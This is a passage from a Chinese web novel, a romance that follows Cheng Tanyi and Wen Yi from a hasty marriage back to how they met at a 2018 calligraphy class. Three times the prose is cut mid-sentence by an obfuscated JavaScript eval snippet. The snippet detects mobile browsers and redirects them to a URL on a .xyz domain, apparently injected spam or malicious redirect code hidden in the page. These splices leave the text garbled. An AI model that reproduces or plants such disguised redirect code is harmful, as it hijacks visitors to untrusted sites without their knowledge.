他名字里的“覃”读作“tán”,而她念的是另一个音“qín”。 她真不认识自己了吗? 他记得他们第一次见,她也是叫他程覃(qín)一。 现在,她还是发现了这件事。 他又该怎么解释这个问题呢? 最后,他选择了坦白。 她会信吗? 她会猜到自己的心思吗? 她会不会觉得自己是个说谎精? 她会不会因为这个原因而拒绝他? 果然,她说自己要认真准备的,还说想和表哥见一面。 是不是,如果今天来的是表哥,她说不定就会选择和他结婚? 程覃一越想越痛恨自己当初的决定。 自己就不该骗她,也许真诚地说出自己的信息,她或许还会看一眼自己,哪怕是一秒,也好过现在的质疑。 还能怎么挽回现在这个可能不能扭转的局面。 程覃一决定拼一把。 “我这次也是很认真的准备,我觉得如果你觉得我也可以,其实我们可以试一试的,因为我也一直在被家里催婚,说实话,挺影响我生活的。” 程覃一观察着女孩的表情。 生怕看到一点不好,万一她拒绝了呢? 万一她真的对她表哥感兴趣呢? 或者她以前那么讨厌自己,不会是来报复他的吧? 他宁愿要她是来报复自己,也不愿意是真对他表哥感兴趣。 前者起码她只缠着自己。 他受不了她把目光放在别人身上。 “是吗?听程先生这句话的意思时,你想和我试试呢?” 显然,她已经明白了自己的心思。 而且,她没有拒绝! 照她这种性格,要是真不愿意肯定就拒绝了。 看来自己还是有希望的。 他内心有些雀跃,但现在他不能把这种雀跃放在明面上,他得保持高冷。 他该说什么呢? 得主动出击,牢牢抓住机会。 “确实有这种想法。” 他在心里默默祈祷:千万不要拒绝!千万不要拒绝! “可是,你都还没了解过我。” 怎么可能会不了解? 他知道她最爱看《哈利·波特》,她最喜欢吃的水果是樱桃,她的字很好看,她最喜欢的诗人是泰戈尔,她喜欢看电影,梦想是成为一名电影制片人…… 他还知道她最喜欢的十七首诗…… 他知道她是一个什么样的人,脾气会阴晴不定,很温柔也很会有小脾气,很勇敢也很胆小,很勤奋也爱偷点懒,很善良也爱八卦别人,不那么完美,可是他就是很喜欢,他爱她的优点也爱她的缺点。 他爱她的一切。 程覃一不知道自己该说什么,最后只好随便说了一句。 闻弋开始介绍自己家的情况。 一打开话匣子,闻弋的话就滔滔不绝流向程覃一。 她说了自己父母的缺点,还用几个例子论证这些缺点,很多都是她的小时候发生的事。 程覃一很喜欢听。 他还没了解过小时候的闻弋是一个怎样的女孩呢。 从她的话里听出,大概是一个调皮的小孩子。 很可爱。 如果以后他们有个女孩,会不会也像她这样呢? 止住!怎么能想这个呢? 这种事可能发生吗? 程覃一赶紧止住自己的想法。 他坚决不会让自己的大脑发散着这些虚无缥缈的东西,尽管有时候这些想法止都止不住。 他知道这样的想法会让得不到的他过得很痛苦。 “好了,这就是我家的情况,你说说你的。” 闻弋结束了对自己家的介绍,他有些不舍,还想继续听下去。 但是没办法,程覃一开始讲述家里的情况。 他尽量把自己的经历描述得惨一点。 很多人说:爱一个人的开始,就是心疼他。 万一他的经历让闻弋感到心疼了呢? 如果闻弋真的心疼他,那是不是就有可能会喜欢上他? 不过程覃一的经历确实让人挺心疼的。 十岁那年,父母双双出轨。 母亲跟着情人去了国外,从十岁到二十八岁,他们再也没见过。 父亲离婚后,和情人结了婚,还在国外生了个小儿子。 两人都不要程覃一了,他们都有了自己的生活。 他去了奶奶家。 奶奶很心疼他,对他很好。 父亲不怎么回来,一般都是清明祭祀或过年时会回来。 程覃一记得有一次,父亲在清明节回来,因为那时候他成绩不好,父亲惩罚他,把他关在了地下室里。 那天,大人们都忙着去墓园里举行祭祀活动,没有人注意到他不见了。 等奶奶发现他时,他已经被饿昏了。 从那之后,他开始好好学习,虽然知道一个好成绩也换不来父亲的多少爱,但是他想证明他不是无用的人。 在他中考后的假期里,父亲带着他的新老婆和小儿子来奶奶家过暑假。 他被父亲要求去青少年宫里学书法。 反正他也不想回家面对那些人,他每天待到很晚很晚才回家,有时候直接在桌子上睡着了,是奶奶来接他回家。 …… 他平静地叙述这些事。 他还观察着女孩的表情。 希望着她能透出一点同情或者心疼。 他看见了她眼睛里有泪花。 或许是他的错觉。 “嗯,挺好的,不用处理很多复杂的交际关系,对我这种社恐还挺好的。” 眼前的女孩对他说。 看来她能接受这种情况。 他很开心,结果一时嘴快,居然直接说直接领证。 “领证?这也太快了吧。” 果然,她觉得很快。 可是他觉得这一点都不快,如果知道有结婚的可能,他应该在22岁时找到她就把婚结了。 “那行吧,我们什么时候领证?” 她居然答应了! 这种事居然发生了! 他看了看窗外,天已经黑了,民政局肯定下班了。 真恨明天不是周一。 看来得等两天才能领证了。 “今天周五,民政局现在已经下班了,周六周天也不开门,要不我们周一去吧。” “行,那就这么定了。” 女孩爽快得让程覃一觉得有些不可思议。 她真的答应了! 他用力拧了一下自己的大腿。 疼! 肯定不是梦。 他都不敢这么梦。 他看着眼前女孩狼吞虎咽的样子,一想到以后还能看见很多次,他就不由自主地开心。 为了防止他她看到自己的笑,他塞了东西进嘴里,学着她狼吞虎咽地吃饭。 吃完后,程覃一送她回家。 她很自然地接受了。 到达目的后,她还邀请他去她家做客。 居然有这么好的事! 他有些不敢相信。 进度这么快吗? 可是很快他又难受了。 她和别的人谈恋爱时,也像这样很快就邀请到家做客吗? “不然还能是谁,你现在也算是我未婚夫了吧,怎么还不愿意接受你未婚妻的邀请啊?” 她居然叫他未婚夫! 程覃一本来受伤的心瞬间愈合了。 未婚夫、未婚妻。 这也太亲密了吧! 他乖乖地跟在闻弋身后,怕自己一不留神,闻弋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535094|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跑走了。 闻弋给他冲泡了一杯茶。 他时不时找点话题和她说话。 他真的太紧张了!紧张到不知道该聊些什么。 闻弋会不会觉得他很无聊? 会不会后悔不想和他结婚? 他很担心。 他在走之前鼓起勇气问了女孩这个问题。 “你后天会后悔和我闪婚吗?” 女孩愣了一下。 “怎么会呢?我倒觉得你会后悔。” 他怎么可能会后悔,这个机会来之不易, 他肯定要好好抓住。 还好她说不会后悔。 她不仅说自己不会后悔,还说要请假和他去领证。 真好,为了和他结婚,她居然要去请假。 可是万一她睡过头怎么办? 她会不会有起床气,一气之下就不想和自己结婚了? “怎么可能?我这么自律守信用的人才不会睡过头!” 前天,她还迟到撞了他。 可是,女孩气鼓鼓地对他说的样子,真可爱。 看她生气的样子,对自己也是一种享受。 …… 一般来说,男人都不怎么化妆。 但是周一要去民政局,肯定要和她照一张合影。 要是不好看,她估计会嫌弃他,也许就不想和他结婚了。 结婚证要待在自己身边一辈子,照片一定要好看。 前天他还问了一下公司里的一个女员工,男人化妆需要哪些东西。 “程总,我觉得你完全不用化妆,就是嘴巴看起来有点干,可以抹一点唇膏……” 他按照她的推荐,在药店买了一点药用唇膏,还在商场买了一套新的黑色西装 周日晚上他十点就睡了,他打算周一一定要早起。 果然,他周一早上五点半就起床了。 他非常认真地刷牙刮胡子洗脸。 最后涂了一点唇膏,嘴唇看起来没那么干了。 整理好一切后,他就开车去闻弋家。 到她家时,才七点。 他在楼下等着,手里拿着一份杂志在读,时不时抬头看一眼。 小区里已经有老人起来跑步了,还有要上学的高中生、初中生、小学生…… 七点半,他看见穿着白色连衣裙的闻弋在不远处,拿着手机,嘴上似乎还带着微笑。 越来越近。 他按了一声喇叭,然后下车。 没想到,她居然起这么早。 看来她也很重视这次结婚。 她看到了自己,似乎也有些惊讶。 “这么早?”程覃一笑着对她说。 “你也很早啊。” 她笑着,眼睛弯弯的,很好看。 程覃一想多见见这样的笑。 七点五十,他们到达民政局。 但是民政局没有开门,要八点半才上班。 程覃一想着她估计还没吃早餐,就带着她去附近吃了点东西。 她点了一碗面条。 程覃一想到自己嘴巴上还涂了点唇膏,不敢吃东西。 就骗她已经吃过了。 她低头吃面条,又是狼吞虎咽,塞得两边脸颊都鼓鼓的。 程覃一就这样看着她吃,最后发现自己也看饱了。 “好了。”她抬起头来,用纸巾擦了擦嘴巴。 他抬起手来看看了手表,才八点十分。 “我们去车上先坐一会儿吧。” 程覃一不知道该和她聊些什么。 有时候他问问她的工作,有时候她问问他的奶奶。 他在手机上疯狂搜索: “怎么和自己喜欢的女孩聊天?” “怎么聊天能让女孩提升好感?” 回答乱七八糟的,感觉一点用处都没有。 终于熬过这二十分钟。 民政局准时开门。 工作人员让他们先去合照。 “郎才女貌,真般配!” 她去上厕所时,一个和他奶奶年纪差不多大的人对他说。 “谢谢夸奖。” 好开心,第一次和她一起被夸郎才女貌! 他们等了一会儿,拿到了他向往了很久的结婚证——和她的。 他想,接下来就是同居。 总之,他们已经是合法夫妻了,同居,也是很正常的事,嗯,他就这样给自己解释,也给她解释。 她会怎么想? 现在,他们就像十五岁的那个夏天。 重新认识,重新接触。 7. 初见(弋) 2018年的夏天,空气里弥漫着栀子花和沥青被晒化的味道。蝉鸣声从早到晚不知疲倦地响着,像是为这个格外炙热的夏天配上的背景音。 十五岁的闻弋刚刚结束中考,迎来了人生中第一个没有作业的假期。偶尔,她会瞒着父母,和朋友溜出去逛街。 “知道爱你没有结局,痴心妄想你会给我甜蜜……” “怎么会爱上了他……” 街边的店铺循环播放着时下最流行的网络热歌。闻弋听着这些陌生的旋律,有些茫然地转向朋友:“这都是什么歌?” “你连这都不知道?”朋友惊讶地瞪大眼睛,“最近抖音上可火了!” 抖音又是什么,她没好意思问。 闻弋尴尬地笑了笑。她感觉自己像是与这个世界脱节了,那些同龄人津津乐道的网络热歌、流行热词,对她来说都陌生得像另一个世界的语言。 这大概要归咎于父母对她使用电子产品的严格管制。在没有网络的世界里,她把所有时间都泡在了图书馆和书店。 假期的前两周,她每天骑着那辆淡蓝色的自行车,往返于家和图书馆之间。车轮碾过被阳光晒得发烫的柏油路,发出轻微的沙沙声。 偶尔,她会特意绕到湖边,停下车,靠在栏杆上吹风。湖面波光粼粼,像撒了一把碎金。这是属于她一个人的、难得的自由时光。 闻弋的父母总是很忙,忙到几乎没时间管她。可这种“不管”背后,是另一种形式的严格管控,尤其是来自母亲的控制。在母亲眼中,闻弋永远不够好,永远有需要改进的地方。只要稍有差池,等待她的就是无休止的指责和辱骂。 七月初,青少年宫的兴趣班开始了一年一度的招生。某天,闻弋骑着车,背着从图书馆借来的厚厚一摞书回到家,发现母亲早已坐在客厅里等候多时。 她的心猛地一沉,又要被安排做什么了? 果然,母亲开门见山:“我给你报了书法班,下周一开课。” “又是书法!”闻弋忍不住抗议,“我已经练了四年了!我的字还不够好看吗?” 闻弋从六年级开始,母亲每年都给她报书法班。 她觉得她的字已经够好看了。 她想去学摄影,但母亲认为没有用。 “你的字还不够好看,得多练,你外公说你写的字就是表面好看,一点也不稳,说你毛毛躁躁的,你成绩一直打不到我的要求,就是因为你不专心,多练毛笔字,练练怎么集中注意力。” 外公是一名酷爱书法的人民教师。 不过他太忙了,根本没时间教闻弋怎么写好毛笔字。 闻弋特别讨厌母亲老是替她做决定,有些事她根本不想做,比如表弟物理很差,而她物理很好,母亲就在她不知情的情况下替她答应给表弟辅导物理的任务。 她能拒绝吗? 当然不能。 要是敢拒绝,换来的一定是各种各样的pua的话,比如“那是你表弟,你怎么能这么自私”“我都答应好你姨妈了,总之,你让我丢脸”“让你去辅导还能帮你巩固知识点呢”…… 闻弋最后只能接受,每天起一大早骑自行车去给表弟辅导。 …… “总之,我是为你好。”母亲的声音把她从回忆中拉回,“以后你去找工作,人家看见你有一手好字,肯定会多考虑你。钱我已经交了,你必须去!” 反抗无效。闻弋知道,这又是她必须接受的命运。 七月中旬,青少年宫的书法班如期开课。 开课那天,闻弋早早到了教室。每年的暑假班都会换一个书法老师,大多是艺术学院走书法高考方向的学生,利用假期来做兼职。 去年的老师是个温柔的女孩,即使闻弋上课偷看小说,也只是微笑着摇摇头,从不严厉批评。而今年的老师是个皮肤黝黑的男生,看起来不太好惹。 闻弋选了个靠后的位置坐下,悄悄观察着周围的同学。班上有七八岁的小孩,也有看起来已经是大学生模样的年轻人。 她的前桌是个正在玩橡皮的小男孩,后桌还空着。她正暗自庆幸不用和陌生人靠得太近。 不对,有个戴墨镜的,个子很高的,皮肤很白的男生刚好走到她后面坐下。 他身上散发的气质让闻弋产生敬畏感。 她突然想起刚才偷听到的对话——书法老师和另一位老师在走廊上低声交谈,说近期市长可能会来青少年宫视察,还提到了市长的儿子也要来学书法。 她悄悄回头瞥了一眼。后排那个男生坐姿笔挺,墨镜遮住了大半张脸,只露出线条分明的下颌。这种与众不同的气质……该不会就是市长的儿子吧? 她把班上的人都打量了一遍,最后认定,只有身后这个人最符合“市长儿子”的身份。那一副高高在上、漠视众生的样子,怎么看都像是出身不凡。 闻弋不自觉地缩了缩肩膀。她暗下决心:一定要离他远点。万一不小心惹到他,自己可就麻烦了。 结果事与愿违。 第一堂课,老师让大家先在一张纸上写几个字,说是要测试大家的功底,然后按照字的好坏分组:字好看的和字丑的一组。 万万没想到,闻弋和后排那个“市长儿子”被分到了一组。 原因是:她是班上字写得最好看的,而他是班上字写得最不好看的。 闻弋在心里暗暗吃惊,市长儿子的字居然这么差?转念一想,这或许是个机会。靠着自己的书法技能和他搞好关系,说不定以后还能沾点光。 第一堂课的任务很简单:两人一组,要把两碟砚台里的墨水写完才能下课。 闻弋写字很快,不一会儿,她碟子里的墨水就见了底。她偷偷往后一瞥,发现他的墨水还剩大半。 教室里渐渐嘈杂起来,已经有好几组开始了“一对一辅导”。闻弋犹豫再三,终于下定决心:不如用他的墨水教他写字,早点完成任务,早点获得自由。 闻弋转过身对他说:“你能借我一点墨水吗?我墨水用完了。” 他已经把墨镜摘下来了,闻弋注意到他眼尾还有些红。 他没有抬起头来,拿着毛笔在宣纸上画莫名奇妙的东西,看起来像是字,又像一些其他奇怪的符号。 像是算命先生画的符。 趁他静静地专注画自己的符,她开始观察起他的面容。 高鼻梁,长睫毛,很白,不过感觉没有她白。长得还挺好看的。 耳朵也好看,是直直竖起来往后翻那种,她的耳朵也是这样。 他看起来是个乖小孩,比她还乖。 她遇到的很多人看见她的往后挺的耳朵都说她肯定是一个乖小孩,耳朵竖起来,听话。只有她父母觉得她不乖,说她就像她的耳朵一样很固执,大家都是塌的,只有她的是固执地往外翻。 她注意到他右耳垂上有颗痣,不大不小,恰到好处地缀在那里。 她想起自己从图书馆里找到的一本关于面相学说的书。 “你右边这只耳朵上这颗痣长得挺好的。”她脱口而出。 “嗯?” 男生抬起头来,一脸疑惑地看着她。 “算命书上说,要是男孩右耳垂上长痣,就证明这个男孩以后会赚很多钱,而且会有一个很好的老婆,很专一。” 男孩的耳朵红了。 “你耳朵好红,是害羞了吗?”闻弋忍不住逗他。 他肯定害羞了。 这句话像是往火里添了把柴,他的耳朵更红了。 “好了,不打趣你了,你在画什么?” 男孩低下头,轻轻挪了一下桌子上的宣纸。 “我的名字。” “啊?这是你的字啊?”闻弋努力辨认着那些“符号”,“看起来挺……挺有趣的。” 这些符号,是他的名字? 可横看竖看,都不像一个字。 只有一个字能看出来,就是“一” 闻弋仔细琢磨了半天,才看出来是三个字:程、覃、一。 “你叫程覃(qín)一?” 男孩摇了摇头,说:“是程覃(tán)一,这个字是多音字,在我名字里读‘tán’。”他指了指闻弋费了好大功夫才认出的字。 “原来如此,”闻弋恍然大悟,“我家有个亲戚,就是这个姓,不过是读‘qín’。我还以为是不是你爸爸姓程,你妈妈姓覃,你是他们唯一的孩子,所以你叫程覃(qín)一。” 男孩没有说话。 “不过你这字也太……”,闻弋想说不好看,但是又想到他可能是市长儿子,及时改口,“太有个性了,难怪老师把我和你安排在一起,我刚才还以为你在学算命先生画符呢。” 男孩继续沉默着,耳朵依旧红透着。 这市长儿子真高冷。 “我教你怎么写,顺便把你墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535095|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水用了,这样我们就可以早一点下课回家了。” 闻弋从自己桌上拿了一张崭新的宣纸,把宣纸放在程覃一的桌上,开始写起程覃一的名字。 “我想慢慢用墨水,我不想回家。”程覃一突然开口。 “嗯?”闻弋抬起头来,停下手中的毛笔,“没事,我也不想回,要不我带你去一个地方玩?” 男孩皱了皱眉。 他的眼神里有种她看不懂的情绪。鬼使神差地,她凑近他耳边,压低声音: “我刚才听说最近领导要来视察,三楼的电子阅览室免费开放。等用完墨水,我们去那里看书怎么样?你要是不喜欢看书也没关系,据说那里的电脑可以玩小游戏。我还没去过呢……” 男孩点了点头。 “那行,我们赶紧把墨水用完,我把你名字写好了,你照着临摹。” 闻弋把她写好的宣纸递给程覃一。 程覃一接过来,将一张崭新的宣纸垫在上面,对准闻弋写好的字,开始像画画一样描摹。 “临字不是这样,你这样叫描摹。” 闻弋凑过去给他展示怎么临字。 “我不会。”男孩说。 “那行吧,你先描摹,等慢慢练熟了,再学临字。” …… 一盘墨水很快就被两个人用完了。 闻弋把两人的作品交给书法老师后,就和程覃一前后脚离开了书法教室。 她根据偷听到的话,找到了开放的电子阅览室。 电子阅览室里面很大,有很多电脑。 闻弋还没见过这么多电脑。 以前上学路过网吧,她都不敢往里看一眼,怕会因为自己的一个眼神惹到那些网瘾少年。 她长这么大,父母还不给她碰电子产品,除非有急用,比如要搜一些资料或者老师有要求要用。 “s市居然有这种好地方,还得要市长来勘察才能用。” 闻弋愤愤不平地说。 话一出口,才想起来男生好像是市长的儿子。 “可能是家长不同意吧,怕小孩子当网吧用。”旁边沉默的男孩开口。 也是,要是她爸妈知道她来这个地方,肯定会打死她,然后把她关在家里逼她做英语听力练习题。 她这辈子最讨厌英语听力了。 他俩找了挨着的位置坐下。 这里的电脑只能查阅资料、看电子书、看电影,还有玩电脑上的小游戏,比如什么“大鱼吃小鱼”“打地鼠”“篮子接苹果”…… 闻弋决定在电脑上查询一些电影资料。 闻弋喜欢电影。 她喜欢很多电影的拍摄镜头,比如氛围像死了秋天的《呼啸山庄》、带着晨曦露水的《傲慢与偏见》…… 她的梦想是做一名会拍摄会剪辑的电影制片人。 如果这辈子,她能制作出一部剧情精彩、镜头优美、享誉盛名的电影,那她真的死而无憾了。 她打开那些电影资料,开始聚精会神地看了起来。 看到一半,她突然想起来旁边坐着的男孩。 他在看电子书。 “你在看什么?”她歪过头去看。 “随便找到的,胡塞尼的《灿烂千阳》。” “哦,我看过这本,很好看,作者还有一本《追风筝的人》,不过这本在图书馆都被借光了,每次去找都找不到。我想买,但是我妈不让我买,说是闲书,对学习没帮助。” 男孩点了点头,说:“我刚才也看到了那本书。” 市长儿子确实高冷。 相比之下,自己话真多。 闻弋扭过头,继续看着自己喜欢的电影资料,她决定不再打扰他。 他们俩在电子阅览室待到六点半。 直到工作人员过来叫他们俩说要关门了,他们才走。 “明天见!” 他们走到青少年宫门口,闻弋向他挥手道别,男孩只是点了点头,转身朝相反方向走了。 真冷漠! 自己好歹还教他怎么写毛笔字,带他去电子阅览室玩呢。 一想到要和他相处二十天,闻弋想想就头疼。 没办法,谁叫他是市长儿子呢。 等回到家,她好像发现自己忘记了什么,想了很久,她才发现,自己好像没和那个男孩介绍自己,他还不知道她的名字。 要不,明天和他说? 8. 初见(一) 2018年,程覃一的父亲回来了。带着程覃一的继母和比他小十一岁的同父异母的弟弟回来了。 不过是很普通的一天,他拿着练习册从附近的书店回来。 中考完后,他经常去附近的书店看书。那家书店还有自习室,他还买了高中学科的资料,有时候就坐在自习室里预习高中的课程。 他没想到,两年未见的父亲居然会回奶奶家,还带着那两个人他没见过的人。 他才进来,就见到那三个人坐在沙发上。 那个女人看见了他,莫名其妙地扬起嘴角,看见程覃一在看她后,她低下头关照她抱着的小儿子,逗那个小孩笑。 “你去哪了?这么晚回来。”父亲站起来,生气地朝他走来。 程覃一不想回答他。他想赶紧回房间,远离他,远离他们。 “站住!”父亲拦住了他。 “你不认识你爹了吗?变哑巴了?怎么见到我不说话?” 父亲夺过他手中的语文练习册,一页一页地翻看。 “难怪成绩这么差!你自己好好看看你画的什么鬼画符!” 父亲把他的练习册撕了,这本练习册是他今天才买的,才写了几页。 练习册的碎片被父亲扔在他脸上,最后散落在他的脚下。 程覃一听见了笑声。是他那个后妈发出来的。那个小孩子也开始跟着笑。 “连你弟都笑你,你知不知道羞耻?” “你看看你考的那个成绩,能上一中吗?” “公司其他董事来问我,我都不好意思说你是我儿子,真丢脸!” …… 程覃一就这样被他父亲拦在楼梯口,忍受着各种各样的辱骂。 最后,奶奶听到了客厅这边的动静,从厨房里走出来,拦住了要殴打程覃一的儿子。 “你怎么能打他呢?他是你儿子!” “你就溺爱他,溺爱到他考不上大学!” “你教得好你怎么不自己亲自来教!”奶奶冷脸怼她儿子,“整天在外面鬼混,还有脸来骂别人。” 也许是奶奶的话内涵到了坐在沙发上的那个女人,父亲马上就不说话了。 他注意到那个女人也沉下来脸。 “覃一,你上楼去,待会儿我给你送饭。”他知道,奶奶最疼爱他。 他也只爱他奶奶。 …… 他从奶奶那得知,父亲的那个小儿子要办四岁生日宴,特地回来办。 他从小到大,还没办过生日宴呢。父母都不记得他的生日,甚至有时候他都忘了自己的生日。 他记忆中第一次过生日,还是他被父母扔在奶奶家,奶奶给他买了蛋糕,还给他做了一顿大餐。 第一天的见面属实不愉快。 程覃一每天很早就出门,很晚才回家。 他真不想见到那三个人。令他恶心。 过了几天后,父亲才和他说了句话。 “你考那么差,就是因为你字太丑了,我给你报个书法班,好好练字。” 也好,反正他不想回家,眼不见心不烦。 书法班在离家不远处的青少年宫里。程覃一以前经常来这里做作业,他知道这里有一间电子阅览室,但是从来没有开过门,就在青少年宫的自习室旁。 但是离家更近的地方开了家自带自习室的书店后,他就很少来了。 在书法班开班的前一晚,他被那个女人污蔑,又被父亲责骂了。 起初是因为他没有把奶奶给他的生日礼物给那个小孩子玩,那个小孩子就大闹,那个女人也知道小孩子不占理,但是还在一旁责怪程覃一。 正好他父亲回来了,她就添油加醋向他父亲告状。 “你这样的父亲,真让我觉得恶心!” 程覃一最后摔门而出。 他的眼睛因为争吵变得通红。 父亲把门关紧了,不让他回来。 他的房间在二楼,旁边有根管子,很好攀爬。半夜,他爬回了房间。 第二天一早,他的眼睛布满红血丝,眼尾也有些红。 他今天要去上书法班,绝对不能就这样去。 他随手拿起一副墨镜,沿着他攀爬的管子,离开了家。 当他到达书法班的教室时,教室里已经坐满了人,只剩下最后一排的一个位置。 他率直走到那个位置坐下。教室里小孩子很多,吵吵闹闹的。坐在后面两排的,是比较大一点的孩子。 他注意到他的前桌,坐着一个穿着蓝色防晒衣扎着高马尾的女孩,她经常东张西望,每次一转头,头发就随着她的头摇动起来,时不时有一股清香味传过来。 那股清香不浓郁也不刺鼻,淡淡的,时有时无。 他们等了一会儿,书法老师才进来。 他觉得自己眼睛不怎么痛了,想着估计不红了,就把墨镜摘下来。 书法老师让他们在纸上写字,说要看看他们的功底。 程覃一随便在纸上写了几个字,他知道自己认真写也是白搭,照样很丑。 “你这字写得很不错啊,学了几年?” 老师已经走到前面那个女孩面前。 “学了四年,都是在青少年宫学的。”女孩子声音很好听,很清亮干净。 “你这字都能当书法老师教学生写了。”书法老师笑得很开心。 “我妈说我写得太飘了,一点也不稳。” “太谦虚了。” 老师说完走到他面前看他的字。 “你这字……”书法老师皱了皱眉头,摇了摇头,“你写的是什么字啊?甲骨文还是小篆?” 程覃一没有说话。 “比小孩子写得还丑,人家写得起码能看,你这字,我一个搞书法研究的,看都看不懂。” “小伙子,人长得那么帅,字不行考试很容易失分的,这个假期好好练。” 程覃一点了点头。 书法老师给他们分了小组,字好看的辅导字不好看的,他和前桌那个被夸能开书法班的女孩子分在了一个组。 他字这么丑,谁来都救不了,又要麻烦那个女孩了。 老师给他们安排了任务,两个人两盘墨水,把两盘墨水用完后,把写好的字交给书法老师,就可以下课了。 他不想那么快就把墨水用完。 他用毛笔一点一点地蘸盘里的墨水,在宣纸上写自己的名字。 他把自己名字写了第二遍后,前面的女孩突然转过来。 她说她墨水用完了,能不能用他的。 他忙着描那个“覃”字,随便应了声好。 但是那个女孩没动,她好像一直在看着他。 他不敢抬头。 她突然夸他右耳垂上的痣好看。 他抬起头来,看到女孩姣好的面容,她眼睛又大又亮,皮肤很白,很漂亮,她一本正经地说那颗痣对他的好处。 什么“能赚大钱,能找一个好老婆,还很专一”。 都二十一世纪了,怎么还有这样迷信的言论。 虽然他不信,但他还是红了耳朵,他感觉自己耳朵火辣辣的。 “你耳朵好红,是害羞了吗?” 耳朵红就是害羞吗? 万一是天太热了呢? 2018年的夏天确实很热啊。 教室里还没有空调,唯一开着的窗子离他还挺远的。 一定是太热了才红的。 她没有再继续打趣他。 结果她的问题更让他很无奈。 她居然问他在画什么! 他在写字,看起来很像画画吗? 他告诉她那是他的名字。 她说他的字很有趣。 这是夸奖吗? 那个女孩盯着他的字看了很久,好像是在思考什么。 “你叫程覃(qín)一?”她问。 很多人在第一次见到他名字时都能叫对,有一部分原因是他们以为这个字不过就是“谭”把言字旁去了,和“谭”读音一样。 他还是第一次见有人叫他程覃(qín)一。 他向她解释自己名字的读音。 “原来如此,我家有个亲戚,就是这个姓,不过是读‘qín’。我还以为是不是你爸爸姓程,你妈妈姓覃,你是他们唯一的孩子,所以你叫程覃(qín)一。” 女孩想得很美好,而事实恰恰相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535096|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反。 他不是他们唯一的孩子,他是他们都不要的孩子。 程覃一这个名字是他爷爷给他取的,“覃”读音为“tán”时有深远的意思,他爷爷是一名军人,给他取这个名字,是希望他长大后能成为一个研精覃思、一心一意的人。 但是他没出生多久,他爷爷就突发疾病去世了。 他没有和她说这么多。 他没有向陌生人倾诉的习惯。 他沉默着。 但是她又说了几句让他更糟心的话。 她以为自己在模仿算命先生画的符。 真气人! 在他们写字很好看的人看来,他的字真的很像什么“甲骨文”,还有根本看不懂的算命先生的“符”吗? 他继续埋头“画”着他的名字。 她说她要教他写她的名字,还说要一起把他的墨水用完。 他以为她只是借用一下,没想到她还想帮他用完。 可他不想用完,用完意味着下课,而今天书店老板有事关门了,这意味着他得回家。 他不想回家见到那三个人。 他告诉她不想回家。 她说她也不想回,她说因为市长要来勘察,所以三楼的电子阅览室免费开放,她问他要不要和她一起去看看。 他早就想去那里面看看了,虽然他家有电脑,不过奶奶很少让他用。 他有一个手机,功能挺齐全的,但他不怎么用,他不爱玩游戏,最近很流行的短视频他也不爱刷。 电脑有些功能手机始终没有,比如电子阅览室的电脑可以免费看电子书,但是手机上要花钱,而且有时候阅读软件上还资源还不多,很难找到自己想要看的书。 他答应了她。 她在宣纸上写下他的名字。 很好看,就像字帖上的字。 她让他临摹。 他不知道什么是临摹。 她靠到他旁边来教他,离他很近。 他能闻到那股清香味,还能听到她平缓的呼吸声。 他的心一下子跳得很快。 好希望赶紧结束,好怕她会听到自己跳得很快的心跳声。 第一次离一个女孩这么近。 他好紧张。 但是他好笨,他学不来临摹。 他感觉自己控制不了自己的手,脑子里想着那一笔该那样写,但是笔却是往另一个方向移动。 女孩只好让他先描摹练练。 下课后,她就带着他往三楼跑。 电子阅览室真的开放了,这里的电脑比他想象中的还要多。 女孩找了两个位置,让他坐在她旁边。 他一坐下,就开始在电脑上安装的电子书软件里找书的资源。 前不久他刚看了胡塞尼的《群山回唱》,觉得还不错,就想着把作者的其他两本看了,但是书店里那两本书买的人很多,他上次去时,已经没有了。 书店老板说等新书来了会给他留两本。 他点开了《灿烂千阳》,开始看起来。 看的过程中,他时不时用余光瞟向女孩那边,偷偷看她在看什么。 女孩没有在看书。她好像在看一些关于电影的东西。 他看见了之前看的《星际穿越》的海报。 她好像在学怎么拍摄。她很喜欢摄影吗? 青少年宫就有摄影班,她怎么不去摄影班呢?她字写得那么好看了,怎么还在学书法呢? 程覃一用鼠标翻动书页,翻过几页才意识到自己根本没有读进去,他又重新翻回来。 正当他准备聚精会神地看书时,女孩突然凑过来问他在看什么。 他给她说了书名。没想到,她也看过,她还说自己还有一本《追风筝的人》没看。 下个周,这本书就能到他手里。他在想,要不要借给她看看呢? 时间过得很快,工作人员来提醒他们要关门了。 他们一起走出青少年宫,女孩向他挥手告别,他点了点头示意再见。 他们朝着相反的方向离开。 他回想着今天发生的事,发现自己忘记问她叫什么名了。 要不,明天去问问? 9. 书签(弋) 